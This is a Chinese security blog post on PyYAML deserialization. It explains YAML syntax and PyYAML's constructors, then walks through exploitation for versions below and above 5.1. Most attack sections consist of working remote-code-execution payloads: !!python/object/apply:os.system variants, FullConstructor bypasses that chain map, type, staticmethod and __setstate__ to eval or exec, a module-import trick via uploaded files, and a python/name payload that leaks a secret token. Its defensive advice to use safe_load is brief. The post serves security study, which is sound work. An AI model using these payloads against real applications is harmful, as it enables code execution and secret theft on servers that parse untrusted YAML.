SecMap - 反序列化(PyYAML)

admin 2025年1月13日19:41:32评论10 views字数 9464阅读31分32秒阅读模式

🍊 SecMap - 反序列化(PyYAML)

这是橘子杀手的第 49 篇文章
题图摄于:绍兴 · 东湖

YAML 相信橘友们都接触过。YAML 最常见的用途之一是创建配置文件。相比 JSON,因为 YAML 有更好的可读性(比如可以加注释),对用户更友好。我的博客用的是 Hexo,它的配置就是通过 YAML 实现的  SecMap - 反序列化(PyYAML)

☁️ 基础知识

这里简单说一下 YAML 支持的基础语法,若想更加深入了解语法规则,请移步 Google 搜索。

🌧 基础语法规则

基础语法规则有以下几种:

  1. 一个 .yml 文件中可以有多份配置文件,用 --- 隔开即可
  2. 对大小写敏感
  3. YAML 中的值,可使用 json 格式的数据
  4. 使用缩进表示层级关系
  5. 缩进时不允许使用 tab(t),只允许使用空格。
  6. 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。
  7. # 表示注释,和 Python 一样
  8. !! 表示强制类型装换
  9. 可以通过 & 来定义锚点,使用 * 来引用锚点。* 也可以和 << 配合,引用时会自动展开对象,类似 Python 的 **dict()
  10. YAML 支持的数据结构有三种
    1. 对象:键值对的集合
    2. 列表:一组按次序排列的值
    3. 标量(scalars):原子值(不可再拆分),例如 数字、日期等等

下面通过 YAML 内容与 PyYAML 解析之后的结果对比,可以清晰地了解 YAML 到底配置了啥:

import yaml

yaml.load('''

string_0:
    - macr0phag3
    - "I'm Tr0y"  # 可以使用双引号或者单引号包裹特殊字符
    - "I am fine. u263A" # 使用双引号包裹时支持 Unicode 编码
    - "\x0d\x0a is \r\n" # 使用双引号包裹时还支持 Hex 编码
    - newline
      newline2  # 字符串可以拆成多行,每行之间用空格隔开

# > 可以在字符串中折叠换行
string_1: >
    newline
    newline2

# | 保留换行符
string_2: |
    newline
    newline2

# | 保留换行符,且去掉最后一个换行符
string_3: |-
    newline
    newline2

list: &id_1
- 18  # 定义锚点
- cm

two_dimensional_list:
-
    - Macr0phag3
    - Tr0y

boolean: 
    - TRUE  # true、True、Yes、YES、yes、ON、on、On 都可以
    - FALSE  # false、False、NO、no、No、off、OFF、Off 都可以

float:
    - 3.14
    - 6.8523015e+5  # 可以使用科学计数法

int:
    - 123
    - 0b10100111010010101110  # 支持二进制表示
    - 0x0a  # 支持十六进制表示

nulls:
  - null  # NULL 也 ok
  - Null
  - ~
  -

date:
    - 2018-02-17  # 日期必须使用 ISO 8601 格式,即 yyyy-MM-dd

datetime: 
    -  2018-02-17T15:02:31+08:00  # 时间使用 ISO 8601 格式,时间和日期之间使用 T 连接,最后使用 + 代表时区

# > 可以在字符串中折叠换行
object: &id_2
    name: Tr0y
    money: 0

json: [{1: Macr0phag3, 2: Tr0y}, "???"]  # 值支持 json

reference: 
    size: *id_1
    <<: *id_2

'''
)

结果如下:

SecMap - 反序列化(PyYAML)

(内含彩蛋)SecMap - 反序列化(PyYAML)

对于 PyYAML 的使用,请移步官方文档:

https://pyyaml.org/wiki/PyYAMLDocumentation

☁️ 类型转换

上面还差一个重要的语法没讲:可以通过 !! 来进行类型转换。

通过上面的测试可以发现,如果识别到一个数字,那么按照 YAML 格式来处理,这个类型就是数字类型。如果我们想把数字类型变为字符串类型就可以这样:a: !!str 1,它的结果和 a: "1" 是一样的。

由于 YAML 仅仅是一种格式规范,所以理论上一个支持 YAML 的解析器可以选择性支持 YAML 的某些语法,也可以在 YAML 的基础上利用 !! 来扩展额外的解析能力。本文主要聚焦于 PyYAML,所以直接看源码就可以知道它在 !! 上做了哪些魔改。

SecMap - 反序列化(PyYAML)

🌧 理解基础的类型转换

site-packages/yaml/constructor.py 中可以看到使用了 add_constructor 的有 24 多个地方,这些都是用来支持基础的类型转换(带有 tag:yaml.org,2002:python/ 的说明是 PyYAML 自定义的类型转换),这些基础类型转换的功能非常好理解,看上面那张图即可,就不多说了,来看下它是怎么实现的吧。

!!binary 这个为例,对应的函数是 construct_yaml_binary,下个断点可以看到,传入的参数 node 格式为:

ScalarNode(
  tag='tag:yaml.org,2002:binary',
  value='R0lGODlhDAAMAIQAAP//9/Xn17unp5WZmZgAAAOfn515eXvnPz7Y6OjuDg4J+fn5OTk6enpn56enmleECcgggoBADs=mZmE'
)

所以对于一个 !!x x 来说,类型转换执行的伪代码就是:find_function("x")(x)。这个也很好理解。

🌧 高级类型转换

在理解了基础的类型转换之后,查看源码可以发现还有一个 add_multi_constructor 函数,一共有 5 个:

  • python/name
  • python/module
  • python/object
  • python/object/new
  • python/object/apply

从上面那张图可以看到,这几个都可以引入新的模块。这就是 PyYAML 存在反序列化的本质原因。

☁️ 攻击思路

截止目前(2022),PyYAML 的利用划分以版本 5.1 为界限,<5.1 版本的利用非常简单,就先介绍一下;>5.1 的利用很相似,但需要稍微做一些解释,所以放在后面。

下面按照利用难度从易到难排列。

🌧 版本小于 5.1

下面以 4.2b4 为例。

❄️ 关键方法

<5.1 版本中提供了几个方法用于解析 YAML:

  1. yaml.load:加载单个 YAML 配置
  2. yaml.load_all:加载多个 YAML 配置

以上这两种均可以通过 Loader 参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:

  1. BaseConstructor:最最基础的构造器,不支持强制类型转换
  2. SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
  3. Constructor:在 YAML 规范上新增了很多强制类型转换

Constructor 这个是最危险的构造器,却是默认使用的构造器  SecMap - 反序列化(PyYAML)

❄️ python/object/apply

对应的函数是 construct_python_object_apply,最终在 make_python_instance 中引入了模块中的方法并执行。

python/object/apply 要求参数必须用一个列表的形式提供,所以以下 payload 都是等价的,但是写法不一样,可以用来绕过:

yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
"""
)

yaml.load("""
exp: !!python/object/apply:os.system
  args: ["whoami"]
"""
)

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
  kwds: {"command": "whoami"}
"""
)

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
"""
)

❄️ python/object/new

对应的函数是 construct_python_object_new,这个函数仅有一行,就是调用 construct_python_object_apply,他们两个链路的区别在于调用 make_python_instancenewobj 参数不同。

而仔细观察 make_python_instance 中的 if newobj and isinstance(cls, type) 条件基本上都会满足(有例外,后面那个条件有点特殊的地方,下面会细说)。所以 python/object/newpython/object/apply 可以视为是完全等价的,那么它们的 payload 就是一样的,参考上面即可。

❄️ python/object

对应的函数是 construct_python_object,非常简单,先 make_python_instance 了一下,然后执行了 set_python_instance_state。根据上面的经验,只要走到 make_python_instance 就可以触发调用。但问题是这里没法传参,所以只能执行无参函数:

SecMap - 反序列化(PyYAML)

有趣的是,这种利用方式会报错:TypeError: can't set attributes of built-in/extension type 'object',通过分析代码可知,流程是走到了 setattr(object, key, value) 报错的:

SecMap - 反序列化(PyYAML)

这个是必然的,object 这种内置的类,都是在底层的 C 代码中写死的,官方不允许对它们随便设置属性的。这里顺便说一句,通过 gc 引用是可以修改的:

SecMap - 反序列化(PyYAML)

当然这个不是本文重点  SecMap - 反序列化(PyYAML)

所以这很明显是一个 bug,因为这个流程既然存在就必定会走到,而现在一旦走到就必然报错。查了下 issue,发现在 18 年的时候就已经发现了:

SecMap - 反序列化(PyYAML)

的确,应该是 setattr(instance, key, value)。这个 bug 在 5.3 已修复了。

❄️ python/module

对应的函数是 construct_python_module,里面调用了 find_python_module,等价于 import

那么在这种没有调用逻辑的情况下,是否有办法利用呢?我感觉在可以写任意文件的时候是有办法的。比如搭配任意文件上传。

首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py,然后通过 yaml.load('!!python/module:exp') 加载。

在实际的场景中,由于一般用于存放上传文件的目录和执行目录并不是同一个,例如:

app.py
uploads
  |_ user.png
  |_ header.jpg

这个时候只需要上传一个 .py 文件,这个文件会被放在 uploads 下,这时只需要触发 import uploads.header 就可以利用了:

SecMap - 反序列化(PyYAML)

更简单的,直接上传 __init__.py,在触发的时候用 !!python/module:uploads 就可以了。

❄️ python/name

对应的函数是 construct_python_name,里面调用了 find_python_name,与 python/module 的逻辑极其类似,区别在于,python/module 仅仅返回模块而 python/name 返回的是模块下面的属性/方法。

利用的逻辑除了上面一样之外,还可以用于这种场景:

import yaml


TOKEN = "Y0u_Nev3r_kn0w."

def check(config):
    try:
        token = yaml.load(config).get("token"None)
    except Exception:
        token = None

    if token == TOKEN:
        print("yes, master.")
    else:
        print("fuck off!")


config = ''  # 可控输入点
check(config)

这个时候的 payload 为 token: !!python/name:__main__.TOKEN,无需知道 TOKEN 是什么,但是需要知道变量名。

当然,这个场景除了 !!python/module 无法完成利用之外,上述其他姿势都可以实现。

🌧 版本大于等于 5.1

由于默认的构造器太过强大,开发人员不了解这些危险很容易中招。所以 PyYAML 的开发者就将构造器分为:

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
  4. UnsafeConstructor:支持全部的强制类型转换
  5. Constructor:等同于 UnsafeConstructor

对应顶层的方法新增了:

  1. yaml.full_load
  2. yaml.full_load_all
  3. yaml.unsafe_load
  4. yaml.unsafe_load_all

通常情况下,我们还是会使用 yaml.load,这个时候会有 warning:

SecMap - 反序列化(PyYAML)

因为在不指定 Loader 的时候,默认是 FullConstructor 构造器。这对开发人员起到了提醒的作用。

除此之外,在 make_python_instance 还新增的额外的限制:if not (unsafe or isinstance(cls, type)),也就是说,在安全模式下,加载进来的 module.name 必须是一个类(例如 intstr 之类的),否则就会报错。

🌧 常规利用方式

常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor 或者 Constructor,也就是这种情况:

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp, Loader=UnsafeLoader)
  4. yaml.load(exp, Loader=Loader)
  5. yaml.load_all(exp, Loader=UnsafeLoader)
  6. yaml.load_all(exp, Loader=Loader)

直接打就好了。

🌧 突破 FullConstructor

FullConstructor 中,限制了只允许加载 sys.modules 中的模块。这个有办法突破吗?SecMap - 反序列化(PyYAML)

我们先列举一下限制:

  1. 只引用,不执行的限制:
    1. 加载进来的 module 必须是位于 sys.modules
  2. 引用并执行:
    1. 加载进来的 module 必须是位于 sys.modules
    2. FullConstructor 下,unsafe = False,加载进来的 module.name 必须是一个类

举两个不行的例子:

  1. !!python/name:pickle.loadspickle 不在 sys.modules
  2. !!python/object/new:builtins.eval ["print(1)"]eval 虽然在 sys.modules 中,但是 type(builtins.eval)builtin_function_or_method 而不是一个类。

通过遍历 builtins 下的所有方法,可以找到这些看起来有点用的:

bool、bytearray、bytes
complex
dict
enumerate
filter、float、frozenset
int
list
map、memoryview
object
range、reversed
set、slice、str、staticmethod
tuple
zip

其中,map 是可以用来触发函数执行的,那么函数怎么引用进来呢?很明显就是 python/name,所以这个 payload 的原型就可以是:

tuple(map(eval, ["__import__('os').system('whoami')"]))

翻译为 YAML 即为:

yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]
"""
)

这里有个非常有趣的地方,如果把 tuple 换成 list 或者是 set,理论上同样会解开 map 里的内容:

SecMap - 反序列化(PyYAML)

但是通过 !!python/object/new 来使用时却会忽略参数,生成一个空的迭代对象:

SecMap - 反序列化(PyYAML)

可以看到,上面并没有执行命令(只要尝试解开 payload 里的 map 必定会执行命令)。跟踪执行流程并审计源码可以发现,在 make_python_instance 中,这也是为什么我上面说这个条件比较特殊。

SecMap - 反序列化(PyYAML)

可以看到,这里是通过 cls.__new__ 来新建一个 cls 实例的,因为 FullConstructor 下使用 python/object/new 时,newobj 必定是 True,而后面那个条件必定是满足的,否则上面一个条件就会报错。

所以到这里我们就可以复现这个 “bug”:

SecMap - 反序列化(PyYAML)

那么为什么通过 list.__new__ 会忽略元素参数,而 tuple.__new__ 却不会呢?

通过审计 Python 的 C 代码,对比 list 和 tuple 的底层实现,大致可以得出这么一个结论:由于 __new__ 的调用在 __init__ 之前,所以我猜测不可变类型是在 __new__ 时插入元素,而可变类型是在 __init__ 时插入元素,所以 __new__ 时传入的元素参数就被忽略了,而 __init__ 又没有接收到元素,所以就生成了一个空的实例。注意,这个结论由于精力原因,并没有经过严格的考证,若感兴趣橘友们应当自行跟踪调试。

所以 frozensetbytes 等这种不可变类型都会解开里面的元素从而触发命令执行,而 dictbytearray 等这种可变类型就不会:

SecMap - 反序列化(PyYAML)

所以,我们只需要找到 触发带参调用 + 引入函数 这两个点就可以完成攻击。在 construct_python_object_apply 中,不仅进行了实例化,如果有 listitems 还会调用实例的 extend 方法,所以原型是:

exp = type("exp", (,), {"extend": eval})
exp.extend("__import__('os').system('whoami')")

YAML payload:

yaml.full_load("""
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
"""
)

结果:SecMap - 反序列化(PyYAML)

construct_python_object_apply 中还对实例进行 setstate,即调用了 __setstate__,所以同样的思路,原型:

exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")

YAML payload:

yaml.full_load("""
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"
"""
)

这里的 type 也可以用 staticmethod 来替换。例如,在 set_python_instance_state 中,还有个调用 slotstate.update 的逻辑,那么只要将 slotstate.update 置为 evalstate 就是 RCE 的 payload。原型:

exp = staticmethod([0])
exp.__dict__.update(
    {"update": eval, "items": list}
)
exp_raise = str()
# 由于 str 没有 __dict__ 方法,所以在 PyYAML 解析时会触发下面调用

exp.update("__import__('os').system('whoami')")

YAML payload:

yaml.full_load("""
!!python/object/new:str
    args: []
    # 通过 state 触发调用
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      # 下面构造 exp
      - !!python/object/new:staticmethod
        args: [0]
        state: 
          update: !!python/name:eval
          items: !!python/name:list  # 不设置这个也可以,会报错但也已经执行成功
"""
)

这个稍微复杂一些。

总之这个组合拳用来绕过 FullConstructor 是很简单的  SecMap - 反序列化(PyYAML)

☁️ 防御

我感觉大多数时候没必要使用如此灵活的解析,所以作为研发,可以尽量使用 yaml.safe_load 来做解析,这一点没啥可说的。

写完这一切之后,我在官方 issue 中看到了关于 >5.1 的 yaml.full_load 安全问题的讨论,这个是默认方法却存在漏洞。作为安全人员,我的观点是官方提供的默认方法应该是安全的,即使牺牲了部分功能。如果一定需要使用那些不太安全的功能也可以,但是需要主动开启(例如加额外的参数,或者换方法名),否则大多数人都会使用 full_load,毕竟是默认的方法。我感觉打印警告起到的作用还是稍微弱了一些  SecMap - 反序列化(PyYAML)

本来周一就有周末综合症
又叠加了一个节后综合症
buff 叠满了
SecMap - 反序列化(PyYAML)

原文始发于微信公众号(橘子杀手):SecMap - 反序列化(PyYAML)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日19:41:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SecMap - 反序列化(PyYAML)https://cn-sec.com/archives/1092859.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息